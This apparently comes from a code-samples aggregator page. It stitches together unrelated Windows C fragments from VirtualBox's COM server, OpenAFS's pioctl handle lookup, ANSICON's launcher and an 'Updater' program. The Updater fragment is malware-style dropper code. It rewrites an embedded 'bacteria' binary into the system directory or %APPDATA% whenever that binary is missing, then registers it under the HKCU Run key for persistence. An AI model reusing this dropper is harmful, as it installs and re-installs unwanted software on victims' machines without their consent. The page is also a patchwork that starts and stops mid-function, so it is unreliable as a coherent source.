        { "/regserver",     'r',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "--reregserver",  'f',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "-reregserver",   'f',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "/reregserver",   'f',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
        { "--helper",       'H',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
        { "-helper",        'H',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
        { "/helper",        'H',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
        { "--logfile",      'F',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
        { "-logfile",       'F',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
        { "/logfile",       'F',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
        { "--logrotate",    'R',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
        { "-logrotate",     'R',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
        { "/logrotate",     'R',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
        { "--logsize",      'S',    RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },
        { "-logsize",       'S',    RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },
        { "/logsize",       'S',    RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },
        { "--loginterval",  'I',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
        { "-loginterval",   'I',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
        { "/loginterval",   'I',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
    };

    bool            fRun = true;
    bool            fRegister = false;
    bool            fUnregister = false;
    const char      *pszPipeName = NULL;
    const char      *pszLogFile = NULL;
    uint32_t        cHistory = 10;                  // enable log rotation, 10 files
    uint32_t        uHistoryFileTime = RT_SEC_1DAY; // max 1 day per file
    uint64_t        uHistoryFileSize = 100 * _1M;   // max 100MB per file

    RTGETOPTSTATE   GetOptState;
    int vrc = RTGetOptInit(&GetOptState, argc, argv, &s_aOptions[0], RT_ELEMENTS(s_aOptions), 1, 0 /*fFlags*/);
    AssertRC(vrc);

    RTGETOPTUNION   ValueUnion;
    while ((vrc = RTGetOpt(&GetOptState, &ValueUnion)))
    {
        switch (vrc)
        {
            case 'e':
                /* already handled above */
                break;

            case 'u':
                fUnregister = true;
                fRun = false;
                break;

            case 'r':
                fRegister = true;
                fRun = false;
                break;

            case 'f':
                fUnregister = true;
                fRegister = true;
                fRun = false;
                break;

            case 'H':
                pszPipeName = ValueUnion.psz;
                if (!pszPipeName)
                    pszPipeName = "";
                fRun = false;
                break;

            case 'F':
                pszLogFile = ValueUnion.psz;
                break;

            case 'R':
                cHistory = ValueUnion.u32;
                break;

            case 'S':
                uHistoryFileSize = ValueUnion.u64;
                break;

            case 'I':
                uHistoryFileTime = ValueUnion.u32;
                break;

            case 'h':
            {
                TCHAR txt[]= L"Options:\n\n"
                             L"/RegServer:\tregister COM out-of-proc server\n"
                             L"/UnregServer:\tunregister COM out-of-proc server\n"
                             L"/ReregServer:\tunregister and register COM server\n"
                             L"no options:\trun the server";
                TCHAR title[]=_T("Usage");
                fRun = false;
                MessageBox(NULL, txt, title, MB_OK);
                return 0;
            }

            case 'V':
            {
                char *psz = NULL;
                RTStrAPrintf(&psz, "%sr%s\n", RTBldCfgVersion(), RTBldCfgRevisionStr());
                PRTUTF16 txt = NULL;
                RTStrToUtf16(psz, &txt);
                TCHAR title[]=_T("Version");
                fRun = false;
                MessageBox(NULL, txt, title, MB_OK);
                RTStrFree(psz);
                RTUtf16Free(txt);
                return 0;
            }

            default:
                /** @todo this assumes that stderr is visible, which is not
                 * true for standard Windows applications. */
                /* continue on command line errors... */
                RTGetOptPrintError(vrc, &ValueUnion);
        }
    }

    /* Only create the log file when running VBoxSVC normally, but not when
     * registering/unregistering or calling the helper functionality. */
    if (fRun)
    {
        if (!pszLogFile)
        {
            char szLogFile[RTPATH_MAX];
            vrc = com::GetVBoxUserHomeDirectory(szLogFile, sizeof(szLogFile));
            if (RT_SUCCESS(vrc))
                vrc = RTPathAppend(szLogFile, sizeof(szLogFile), "VBoxSVC.log");
            if (RT_SUCCESS(vrc))
                pszLogFile = RTStrDup(szLogFile);
        }
        char szError[RTPATH_MAX + 128];
        vrc = com::VBoxLogRelCreate("COM Server", pszLogFile,
                                    RTLOGFLAGS_PREFIX_THREAD | RTLOGFLAGS_PREFIX_TIME_PROG,
                                    "all", "VBOXSVC_RELEASE_LOG",
                                    RTLOGDEST_FILE, UINT32_MAX /* cMaxEntriesPerGroup */,
                                    cHistory, uHistoryFileTime, uHistoryFileSize,
                                    szError, sizeof(szError));
        if (RT_FAILURE(vrc))
            return RTMsgErrorExit(RTEXITCODE_FAILURE, "failed to open release log (%s, %Rrc)", szError, vrc);
    }

    int nRet = 0;
    HRESULT hRes = com::Initialize();

    _ASSERTE(SUCCEEDED(hRes));
    _Module.Init(ObjectMap, hInstance, &LIBID_VirtualBox);
    _Module.dwThreadID = GetCurrentThreadId();

    if (!fRun)
    {
        if (fUnregister)
        {
            _Module.UpdateRegistryFromResource(IDR_VIRTUALBOX, FALSE);
            nRet = _Module.UnregisterServer(TRUE);
        }
        if (fRegister)
        {
            _Module.UpdateRegistryFromResource(IDR_VIRTUALBOX, TRUE);
            nRet = _Module.RegisterServer(TRUE);
        }
        if (pszPipeName)
        {
            Log(("SVCMAIN: Processing Helper request (cmdline=\"%s\")...\n", pszPipeName));

            if (!*pszPipeName)
                vrc = VERR_INVALID_PARAMETER;

            if (RT_SUCCESS(vrc))
            {
                /* do the helper job */
                SVCHlpServer server;
                vrc = server.open(pszPipeName);
                if (RT_SUCCESS(vrc))
                    vrc = server.run();
            }
            if (RT_FAILURE(vrc))
            {
                Log(("SVCMAIN: Failed to process Helper request (%Rrc).", vrc));
                nRet = 1;
            }
        }
    }
    else
    {
        _Module.StartMonitor();
#if _WIN32_WINNT >= 0x0400 & defined(_ATL_FREE_THREADED)
        hRes = _Module.RegisterClassObjects(CLSCTX_LOCAL_SERVER, REGCLS_MULTIPLEUSE | REGCLS_SUSPENDED);
        _ASSERTE(SUCCEEDED(hRes));
        hRes = CoResumeClassObjects();
#else
        hRes = _Module.RegisterClassObjects(CLSCTX_LOCAL_SERVER, REGCLS_MULTIPLEUSE);
#endif
        _ASSERTE(SUCCEEDED(hRes));

        MSG msg;
        while (GetMessage(&msg, 0, 0, 0))
            DispatchMessage(&msg);

        _Module.RevokeClassObjects();
        Sleep(dwPause); //wait for any threads to finish
    }

    _Module.Term();

    com::Shutdown();

    Log(("SVCMAIN: Returning, COM server process ends.\n"));
    return nRet;
}
示例#11
0
static long
GetIoctlHandle(char *fileNamep, HANDLE * handlep)
{
    HKEY hk;
    char *drivep = NULL;
    char netbiosName[MAX_NB_NAME_LENGTH]="AFS";
    DWORD CurrentState = 0;
    char  HostName[64] = "";
    char tbuffer[MAX_PATH]="";
    HANDLE fh;
    char szUser[128] = "";
    char szClient[MAX_PATH] = "";
    char szPath[MAX_PATH] = "";
    NETRESOURCE nr;
    DWORD res;
    DWORD ioctlDebug = IoctlDebug();
    DWORD gle;
    DWORD dwAttrib;
    DWORD dwSize = sizeof(szUser);
    BOOL  usingRDR = FALSE;
    int saveerrno;
    UINT driveType;
    int sharingViolation;

    memset(HostName, '\0', sizeof(HostName));
    gethostname(HostName, sizeof(HostName));
    if (!DisableServiceManagerCheck() &&
        GetServiceStatus(HostName, TEXT("TransarcAFSDaemon"), &CurrentState) == NOERROR &&
        CurrentState != SERVICE_RUNNING)
    {
        if ( ioctlDebug ) {
            saveerrno = errno;
            fprintf(stderr, "pioctl GetServiceStatus(%s) == %d\r\n",
                    HostName, CurrentState);
            errno = saveerrno;
        }
	return -1;
    }

    if (RDR_Ready()) {
        usingRDR = TRUE;

        if ( ioctlDebug ) {
            saveerrno = errno;
            fprintf(stderr, "pioctl Redirector is ready\r\n");
            errno = saveerrno;
        }

        if (RegOpenKey (HKEY_LOCAL_MACHINE, AFSREG_CLT_SVC_PARAM_SUBKEY, &hk) == 0)
        {
            DWORD dwSize = sizeof(netbiosName);
            DWORD dwType = REG_SZ;
            RegQueryValueExA (hk, "NetbiosName", NULL, &dwType, (PBYTE)netbiosName, &dwSize);
            RegCloseKey (hk);

            if ( ioctlDebug ) {
                saveerrno = errno;
                fprintf(stderr, "pioctl NetbiosName = \"%s\"\r\n", netbiosName);
                errno = saveerrno;
            }
        } else {
            if ( ioctlDebug ) {
                saveerrno = errno;
                gle = GetLastError();
                fprintf(stderr, "pioctl Unable to open \"HKLM\\%s\" using NetbiosName = \"AFS\" GLE=0x%x\r\n",
                        HostName, CurrentState, gle);
                errno = saveerrno;
            }
        }
    } else {
        if ( ioctlDebug ) {
            saveerrno = errno;
            fprintf(stderr, "pioctl Redirector is not ready\r\n");
            errno = saveerrno;
        }

        if (!GetEnvironmentVariable("AFS_PIOCTL_SERVER", netbiosName, sizeof(netbiosName)))
            lana_GetNetbiosName(netbiosName,LANA_NETBIOS_NAME_FULL);

        if ( ioctlDebug ) {
            saveerrno = errno;
            fprintf(stderr, "pioctl NetbiosName = \"%s\"\r\n", netbiosName);
            errno = saveerrno;
        }
    }

    if (fileNamep) {
        drivep = strchr(fileNamep, ':');
        if (drivep && (drivep - fileNamep) >= 1) {
            tbuffer[0] = *(drivep - 1);
            tbuffer[1] = ':';
            tbuffer[2] = '\0';

            driveType = GetDriveType(tbuffer);
            switch (driveType) {
            case DRIVE_UNKNOWN:
            case DRIVE_REMOTE:
                if (DriveIsMappedToAFS(tbuffer, netbiosName) ||
                    DriveIsGlobalAutoMapped(tbuffer))
                    strcpy(&tbuffer[2], SMB_IOCTL_FILENAME);
                else
                    return -1;
                break;
            default:
                if (DriveIsGlobalAutoMapped(tbuffer))
                    strcpy(&tbuffer[2], SMB_IOCTL_FILENAME);
                else
                    return -1;
            }
        } else if (fileNamep[0] == fileNamep[1] &&
		   (fileNamep[0] == '\\' || fileNamep[0] == '/'))
        {
            int count = 0, i = 0;

            while (count < 4 && fileNamep[i]) {
                tbuffer[i] = fileNamep[i];
                if ( tbuffer[i] == '\\' ||
		     tbuffer[i] == '/')
                    count++;
		i++;
            }
            if (fileNamep[i] == 0 || (fileNamep[i-1] != '\\' && fileNamep[i-1] != '/'))
                tbuffer[i++] = '\\';
            tbuffer[i] = 0;
            strcat(tbuffer, SMB_IOCTL_FILENAME_NOSLASH);
        } else {
            char curdir[MAX_PATH]="";

            GetCurrentDirectory(sizeof(curdir), curdir);
            if ( curdir[1] == ':' ) {
                tbuffer[0] = curdir[0];
                tbuffer[1] = ':';
                tbuffer[2] = '\0';

                driveType = GetDriveType(tbuffer);
                switch (driveType) {
                case DRIVE_UNKNOWN:
                case DRIVE_REMOTE:
                    if (DriveIsMappedToAFS(tbuffer, netbiosName) ||
                        DriveIsGlobalAutoMapped(tbuffer))
                        strcpy(&tbuffer[2], SMB_IOCTL_FILENAME);
                    else
                        return -1;
                    break;
                default:
                    if (DriveIsGlobalAutoMapped(tbuffer))
                        strcpy(&tbuffer[2], SMB_IOCTL_FILENAME);
                    else
                        return -1;
                }
            } else if (curdir[0] == curdir[1] &&
                       (curdir[0] == '\\' || curdir[0] == '/'))
            {
                int count = 0, i = 0;

                while (count < 4 && curdir[i]) {
                    tbuffer[i] = curdir[i];
		    if ( tbuffer[i] == '\\' ||
			 tbuffer[i] == '/')
			count++;
		    i++;
                }
                if (curdir[i] == 0 || (curdir[i-1] != '\\' && curdir[i-1] != '/'))
                    tbuffer[i++] = '\\';
                tbuffer[i] = 0;
                strcat(tbuffer, SMB_IOCTL_FILENAME_NOSLASH);
            }
        }
    }
    if (!tbuffer[0]) {
        /* No file name starting with drive colon specified, use UNC name */
        sprintf(tbuffer,"\\\\%s\\all%s",netbiosName,SMB_IOCTL_FILENAME);
    }

    if ( ioctlDebug ) {
        saveerrno = errno;
        fprintf(stderr, "pioctl filename = \"%s\"\r\n", tbuffer);
        errno = saveerrno;
    }

    fflush(stdout);

    /*
     * Try to find the correct path and authentication
     */
    dwAttrib = GetFileAttributes(tbuffer);
    if (dwAttrib == INVALID_FILE_ATTRIBUTES) {
        int  gonext = 0;

        gle = GetLastError();
        if (gle && ioctlDebug ) {
            char buf[4096];

            saveerrno = errno;
            if ( FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
                               NULL,
                               gle,
                               MAKELANGID(LANG_ENGLISH,SUBLANG_ENGLISH_US),
                               buf,
                               4096,
                               NULL
                               ) )
            {
                fprintf(stderr,"pioctl GetFileAttributes(%s) failed: 0x%X\r\n\t[%s]\r\n",
                        tbuffer,gle,buf);
            }
            errno = saveerrno;
            SetLastError(gle);
        }

        /* with the redirector interface, fail immediately.  there is nothing to retry */
        if (usingRDR)
            return -1;

        if (!GetEnvironmentVariable("AFS_PIOCTL_SERVER", szClient, sizeof(szClient)))
            lana_GetNetbiosName(szClient, LANA_NETBIOS_NAME_FULL);

        if (RegOpenKey (HKEY_CURRENT_USER,
                         TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer"), &hk) == 0)
        {
            DWORD dwType = REG_SZ;
            RegQueryValueEx (hk, TEXT("Logon User Name"), NULL, &dwType, (PBYTE)szUser, &dwSize);
            RegCloseKey (hk);
        }

        if ( szUser[0] ) {
            if ( ioctlDebug ) {
                saveerrno = errno;
                fprintf(stderr, "pioctl Explorer logon user: [%s]\r\n",szUser);
                errno = saveerrno;
            }
            sprintf(szPath, "\\\\%s", szClient);
            memset (&nr, 0x00, sizeof(NETRESOURCE));
            nr.dwType=RESOURCETYPE_DISK;
            nr.lpLocalName=0;
            nr.lpRemoteName=szPath;
            res = WNetAddConnection2(&nr,NULL,szUser,0);
            if (res) {
                if ( ioctlDebug ) {
                    saveerrno = errno;
                    fprintf(stderr, "pioctl WNetAddConnection2(%s,%s) failed: 0x%X\r\n",
                             szPath,szUser,res);
                    errno = saveerrno;
                }
                gonext = 1;
            }

            sprintf(szPath, "\\\\%s\\all", szClient);
            res = WNetAddConnection2(&nr,NULL,szUser,0);
            if (res) {
                if ( ioctlDebug ) {
                    saveerrno = errno;
                    fprintf(stderr, "pioctl WNetAddConnection2(%s,%s) failed: 0x%X\r\n",
                             szPath,szUser,res);
                    errno = saveerrno;
                }
                gonext = 1;
            }

            if (gonext)
                goto try_lsa_principal;

            dwAttrib = GetFileAttributes(tbuffer);
            if (dwAttrib == INVALID_FILE_ATTRIBUTES) {
                gle = GetLastError();
                if (gle && ioctlDebug ) {
                    char buf[4096];

                    saveerrno = errno;
                    if ( FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
                                        NULL,
                                        gle,
                                        MAKELANGID(LANG_ENGLISH,SUBLANG_ENGLISH_US),
                                        buf,
                                        4096,
                                        NULL
                                        ) )
                    {
                        fprintf(stderr,"pioctl GetFileAttributes(%s) failed: 0x%X\r\n\t[%s]\r\n",
                                 tbuffer,gle,buf);
                    }
                    errno = saveerrno;
                    SetLastError(gle);
                }
            }
        }
    }

  try_lsa_principal:
    if (!usingRDR &&
        dwAttrib == INVALID_FILE_ATTRIBUTES) {
        int  gonext = 0;

        dwSize = sizeof(szUser);
        if (GetLSAPrincipalName(szUser, dwSize)) {
            if ( ioctlDebug ) {
                saveerrno = errno;
                fprintf(stderr, "pioctl LSA Principal logon user: [%s]\r\n",szUser);
                errno = saveerrno;
            }
            sprintf(szPath, "\\\\%s", szClient);
            memset (&nr, 0x00, sizeof(NETRESOURCE));
            nr.dwType=RESOURCETYPE_DISK;
            nr.lpLocalName=0;
            nr.lpRemoteName=szPath;
            res = WNetAddConnection2(&nr,NULL,szUser,0);
            if (res) {
                if ( ioctlDebug ) {
                    saveerrno = errno;
                    fprintf(stderr, "pioctl WNetAddConnection2(%s,%s) failed: 0x%X\r\n",
                             szPath,szUser,res);
                    errno = saveerrno;
                }
                gonext = 1;
            }

            sprintf(szPath, "\\\\%s\\all", szClient);
            res = WNetAddConnection2(&nr,NULL,szUser,0);
            if (res) {
                if ( ioctlDebug ) {
                    saveerrno = errno;
                    fprintf(stderr, "pioctl WNetAddConnection2(%s,%s) failed: 0x%X\r\n",
                             szPath,szUser,res);
                    errno = saveerrno;
                }
                gonext = 1;
            }

            if (gonext)
                goto try_sam_compat;

            dwAttrib = GetFileAttributes(tbuffer);
            if (dwAttrib == INVALID_FILE_ATTRIBUTES) {
                gle = GetLastError();
                if (gle && ioctlDebug ) {
                    char buf[4096];

                    saveerrno = errno;
                    if ( FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
                                        NULL,
                                        gle,
                                        MAKELANGID(LANG_ENGLISH,SUBLANG_ENGLISH_US),
                                        buf,
                                        4096,
                                        NULL
                                        ) )
                    {
                        fprintf(stderr,"pioctl GetFileAttributes(%s) failed: 0x%X\r\n\t[%s]\r\n",
                                 tbuffer,gle,buf);
                    }
                    errno = saveerrno;
                    SetLastError(gle);
                }
            }
        }
    }

  try_sam_compat:
    if (!usingRDR &&
        dwAttrib == INVALID_FILE_ATTRIBUTES) {
        dwSize = sizeof(szUser);
        if (GetUserNameEx(NameSamCompatible, szUser, &dwSize)) {
            if ( ioctlDebug ) {
                saveerrno = errno;
                fprintf(stderr, "pioctl SamCompatible logon user: [%s]\r\n",szUser);
                errno = saveerrno;
            }
            sprintf(szPath, "\\\\%s", szClient);
            memset (&nr, 0x00, sizeof(NETRESOURCE));
            nr.dwType=RESOURCETYPE_DISK;
            nr.lpLocalName=0;
            nr.lpRemoteName=szPath;
            res = WNetAddConnection2(&nr,NULL,szUser,0);
            if (res) {
                if ( ioctlDebug ) {
                    saveerrno = errno;
                    fprintf(stderr, "pioctl WNetAddConnection2(%s,%s) failed: 0x%X\r\n",
                             szPath,szUser,res);
                    errno = saveerrno;
                }
            }

            sprintf(szPath, "\\\\%s\\all", szClient);
            res = WNetAddConnection2(&nr,NULL,szUser,0);
            if (res) {
                if ( ioctlDebug ) {
                    saveerrno = errno;
                    fprintf(stderr, "pioctl WNetAddConnection2(%s,%s) failed: 0x%X\r\n",
                             szPath,szUser,res);
                    errno = saveerrno;
                }
                return -1;
            }

            dwAttrib = GetFileAttributes(tbuffer);
            if (dwAttrib == INVALID_FILE_ATTRIBUTES) {
                gle = GetLastError();
                if (gle && ioctlDebug ) {
                    char buf[4096];

                    saveerrno = errno;
                    if ( FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
                                        NULL,
                                        gle,
                                        MAKELANGID(LANG_ENGLISH,SUBLANG_ENGLISH_US),
                                        buf,
                                        4096,
                                        NULL
                                        ) )
                    {
                        fprintf(stderr,"pioctl GetFileAttributes(%s) failed: 0x%X\r\n\t[%s]\r\n",
                                 tbuffer,gle,buf);
                    }
                    errno = saveerrno;
                }
                return -1;
            }
        } else {
            fprintf(stderr, "GetUserNameEx(NameSamCompatible) failed: 0x%X\r\n", GetLastError());
            return -1;
        }
    }

    if ( dwAttrib != (FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) {
        fprintf(stderr, "GetFileAttributes(%s) returned: 0x%08X\r\n",
                tbuffer, dwAttrib);
        return -1;
    }

    /* tbuffer now contains the correct path; now open the file */
    sharingViolation = 0;
    do {
        if (sharingViolation)
            Sleep(100);
        fh = CreateFile(tbuffer, FILE_READ_DATA | FILE_WRITE_DATA,
                        FILE_SHARE_READ, NULL, OPEN_EXISTING,
                        FILE_FLAG_WRITE_THROUGH, NULL);
        sharingViolation++;
    } while (fh == INVALID_HANDLE_VALUE &&
             GetLastError() == ERROR_SHARING_VIOLATION &&
             sharingViolation < 100);
    fflush(stdout);

    if (fh == INVALID_HANDLE_VALUE)
        return -1;

    /* return fh and success code */
    *handlep = fh;
    return 0;
}
示例#12
0
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                    PSTR szCmdLine, int iCmdShow)
#endif
{
    HKEY hkey;
    LONG result_open, result_write, result_close;
    FILE *output = NULL;
    
    char environment_var[MAX_ENVVAR_LENGTH];
    char install_directory[MAX_DIR_LENGTH];
    char value_data[MAX_KEY_VALUE_SIZE];
    
    // errors and switches
    bool systemroot_not_found = false;
    bool admin_permission = true; // assume at first that we have permission
    
    // initialize vars
    memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
    memset(install_directory, '\0', MAX_DIR_LENGTH);
    memset(value_data, '\0', MAX_KEY_VALUE_SIZE);
    
#ifdef DEBUG
    printf("Updater\n");
    fflush(stdout);
#endif
    // lets prepare the directory in which bacteria should be
    GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH);
    sprintf(install_directory, "%s\\" ADMIN_BACTERIA_INSTALL_DIR "\\" ADMIN_BACTERIA_FILENAME, environment_var);
    
    // now lets check if it's there
    if(!(fopen(install_directory, "r"))) {
        // its not there, check for non admin bacteria placement
        memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
        memset(install_directory, '\0', MAX_DIR_LENGTH);
        
        GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH);
        sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR "\\" LIMITED_BACTERIA_FILENAME, environment_var);
        
        if(!(fopen(install_directory, "r"))) {
            // bacteria is not in the system
            // re-install it
            memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
            memset(install_directory, '\0', MAX_DIR_LENGTH);
            
            // get systemroot
            if(!(GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH))) {
                if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {
                    // shit, we'll have to look someplace else
#ifdef DEBUG
                    printf("- Error, systemroot envvar not found\n");
#endif
                    systemroot_not_found = true;
                    
                } else {
                    // some unknown error
#ifdef DEBUG
                    printf("- Unknown error getting systemroot envvar\n");
#endif
                    return 0;
                }
            }
    
            if(!systemroot_not_found) {
#ifdef DEBUG
                printf("%%systemroot%% found.\n");
#endif
                sprintf(install_directory, "%s\\" ADMIN_BACTERIA_INSTALL_DIR "\\" ADMIN_BACTERIA_FILENAME, environment_var);
                if(!(output = fopen(install_directory, "wb"))) {
                    // we have concluded that the user doesn't have permissions
#ifdef DEBUG
                    printf("- Error opening %s. Assuming limited permissions.\n", install_directory);
#endif
                    admin_permission = false;
                } else {
                    // successfully opened file
                    if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) {
#ifdef DEBUG
                        printf("- Error writing bacteria as admin.\n");
#endif
                        return 0;
                    } else {
#ifdef DEBUG
                        printf("- Successfully wrote bacteria as admin.\n");
#endif
                    }
                    fclose(output);
                }
            }
            
            if(systemroot_not_found || !admin_permission) {
                // since systemroot was not found
                // assume that the user is not admin
                admin_permission = false;
                
                memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
                memset(install_directory, '\0', MAX_DIR_LENGTH);
                
                // get appdata
                if(!(GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH))) {
                    if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {
                        // oh crap, not even appdata was found
                        // whatever, exit
#ifdef DEBUG    
                        printf("Error, appdata envvar not found\n");
#endif
                        return 0;
                    } else {
                        // some unknown error
#ifdef DEBUG
                        printf("Unknown error getting appdata envvar\n");
#endif
                        return 0;
                    }
                } else {
#ifdef DEBUG
                    printf("%%appdata%% found.\n");
#endif
                }
                
                // Create the %appdata%\limitedbacterianame directory
                sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR, environment_var);
                CreateDirectory(install_directory, NULL);
                // it is impossible that the folder was not found... if it is in a system variable
                // and, if it was ERROR_ALREADY_EXISTS, then who cares? that's a good thing.
                
                // prepare the full install directory
                sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR "\\" LIMITED_BACTERIA_FILENAME, environment_var);
                if(!(output = fopen(install_directory, "wb"))) {
#ifdef DEBUG
                    printf("- Error opening %s.\n", install_directory);
#endif
                    return 0;
                } else {
                    // successfully opened file
                    if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) {
#ifdef DEBUG
                        printf("- Error writing bacteria as limited user.\n");
#endif
                        return 0;
                    } else {
#ifdef DEBUG
                        printf("- Successfully wrote bacteria as limited user.\n");
#endif
                    }
                    fclose(output);
                }
            }
            
            //! now that we copied the file were it is possible
            //! open key, write it, and finish
            
            // open key, does not require permissions.
            result_open = RegOpenKeyEx(HKEY_CURRENT_USER, 
                        RUN_KEY_NAME,
                        0, KEY_WRITE, &hkey
            );
            
            // error opening key
            if(result_open != ERROR_SUCCESS) {
                if(result_open == ERROR_FILE_NOT_FOUND) {
#ifdef DEBUG
                    printf("- Error: key not found.\n");
#endif
                    return 0;
                } else {
#ifdef DEBUG
                    printf("- Error opening key.\n");
#endif
                    return 0;
                }
            } else {
#ifdef DEBUG
                printf("- Successfully opened key.\n");
#endif
            }
            
            // write the directory were it was installed as the value data
            // with the BACTERIA_NAME
            sprintf(value_data, "\"%s\"", install_directory);
            if(admin_permission) {
                result_write = RegSetValueEx(hkey, ADMIN_BACTERIA_NAME, 0, REG_SZ, 
                            value_data, strlen(value_data)
                );
            } else {
                result_write = RegSetValueEx(hkey, LIMITED_BACTERIA_NAME, 0, REG_SZ, 
                            value_data, strlen(value_data)
                );
            }
            
            // error writing key
            if(result_write != ERROR_SUCCESS) {
#ifdef DEBUG
                printf("- Error writing value to key.\n");
#endif
                return 0;
            } else {
#ifdef DEBUG
                printf("- Successfully wrote %s to key.\n", value_data);
#endif
            }
            
            // error closing key
            if((RegCloseKey(hkey)) != ERROR_SUCCESS) {
#ifdef DEBUG
                printf("- Error closing key.\n");
#endif
                return 0;
            } else {
#ifdef DEBUG
                printf("- Successfully closed key.\n");
#endif
            }
            
            // re-installing the bacteria was successfull!!!
        }
        
        // program falls here if we found bacteria
        // but user is not an admin
    }
    
    // program falls here if we found bacteria
    // and user is admin
#ifdef DEBUG
    fflush(stdout);
    system("pause");
#endif
    return 0;
}
示例#13
0
文件: ansicon.c 项目: voxik/ansicon
//int _tmain( int argc, TCHAR* argv[] )
int main( void )
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  TCHAR*  cmd;
  BOOL	  option;
  BOOL	  opt_m;
  BOOL	  installed;
  HMODULE ansi;
  int	  rc = 0;

  int argc;
  LPWSTR* argv = CommandLineToArgvW( GetCommandLineW(), &argc );

  if (argc > 1)
  {
    if (lstrcmp( argv[1], TEXT("--help") ) == 0 ||
	(argv[1][0] == '-' && (argv[1][1] == '?' || argv[1][1] == 'h')) ||
	(argv[1][0] == '/' && argv[1][1] == '?'))
    {
      help();
      return rc;
    }
    if (lstrcmp( argv[1], TEXT("--version") ) == 0)
    {
      _putts( TEXT("ANSICON (" BITS "-bit) version " PVERS " (" PDATE ").") );
      return rc;
    }
  }

  option = (argc > 1 && argv[1][0] == '-');
  if (option && (_totlower( argv[1][1] ) == 'i' ||
		 _totlower( argv[1][1] ) == 'u'))
  {
    process_autorun( argv[1][1] );
    return rc;
  }

  get_original_attr();

  opt_m = FALSE;
  if (option && argv[1][1] == 'm')
  {
    WORD attr = 7;
    if (_istxdigit( argv[1][2] ))
    {
      attr = _istdigit( argv[1][2] ) ? argv[1][2] - '0'
				     : (argv[1][2] | 0x20) - 'a' + 10;
      if (_istxdigit( argv[1][3]))
      {
	attr <<= 4;
	attr |= _istdigit( argv[1][3] ) ? argv[1][3] - '0'
					: (argv[1][3] | 0x20) - 'a' + 10;
      }
    }
    SetConsoleTextAttribute( hConOut, attr );

    opt_m = TRUE;
    ++argv;
    --argc;
    option = (argc > 1 && argv[1][0] == '-');
  }

  installed = (GetEnvironmentVariable( TEXT("ANSICON"), NULL, 0 ) != 0);

  if (option && argv[1][1] == 'p')
  {
    // If it's already installed, there's no need to do anything.
    if (installed)
      ;
    else if (GetParentProcessInfo( &pi ))
    {
      pi.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId );
      pi.hThread  = OpenThread(  THREAD_ALL_ACCESS,  FALSE, pi.dwThreadId  );
      SuspendThread( pi.hThread );
      Inject( &pi );
      ResumeThread( pi.hThread );
      CloseHandle( pi.hThread );
      CloseHandle( pi.hProcess );
    }
    else
    {
      _putts( TEXT("ANSICON: could not obtain the parent process.") );
      rc = 1;
    }
  }
  else
  {
    ansi = 0;
    if (!installed)
      ansi = LoadLibrary( TEXT("ANSI" BITS ".dll") );

    if (option && (argv[1][1] == 't' || argv[1][1] == 'T'))
    {
      BOOL title = (argv[1][1] == 'T');
      if (argc == 2)
      {
	argv[2] = L"-";
	++argc;
      }
      for (; argc > 2; ++argv, --argc)
      {
	if (title)
	  _tprintf( TEXT("==> %s <==\n"), argv[2] );
	display( argv[2], title );
	if (title)
	  _puttchar( '\n' );
      }
    }
    else
    {
      // Retrieve the original command line, skipping our name and the option.
      cmd = skip_spaces( skip_arg( skip_spaces( GetCommandLine() ) ) );
      if (opt_m)
	cmd = skip_spaces( skip_arg( cmd ) );

      if (cmd[0] == '-' && (cmd[1] == 'e' || cmd[1] == 'E'))
      {
	_fputts( cmd + 3, stdout );
	if (cmd[1] == 'e')
	  _puttchar( '\n' );
      }
      else if (!isatty( 0 ) && *cmd == '\0')
      {
	display( TEXT("-"), FALSE );
      }
      else
      {
	if (*cmd == '\0')
	{
